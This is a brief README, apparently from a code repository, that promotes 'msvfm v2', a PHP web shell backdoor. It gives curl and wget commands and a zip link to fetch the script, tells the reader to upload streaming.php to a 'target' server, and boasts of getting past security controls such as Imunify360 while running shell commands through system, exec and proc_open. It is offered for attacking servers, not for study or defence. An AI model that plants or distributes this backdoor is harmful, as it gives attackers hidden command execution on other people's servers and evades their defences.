msvfm

msvfm v2 shell backdoor streaming

update

• UI
• Command Shell
• Size File

preview

run

upload file "streaming.php" to server target and happy ending

Requirements to enable msvfm streaming.php

stream_socket_client
eval

download script

with curl & wget

curl -O https://raw.githubusercontent.com/MSVerse/msvfm/main/streaming.php
wget https://raw.githubusercontent.com/MSVerse/msvfm/main/streaming.php

zip file

https://github.com/MSVerse/msvfm/archive/refs/heads/main.zip

bypass

• forbidden
• auto delet
• blank
• internal server error
• imunify360
• not acceptable

fitur

• command shell (system, exec, passthru, shell_exec & proc_open)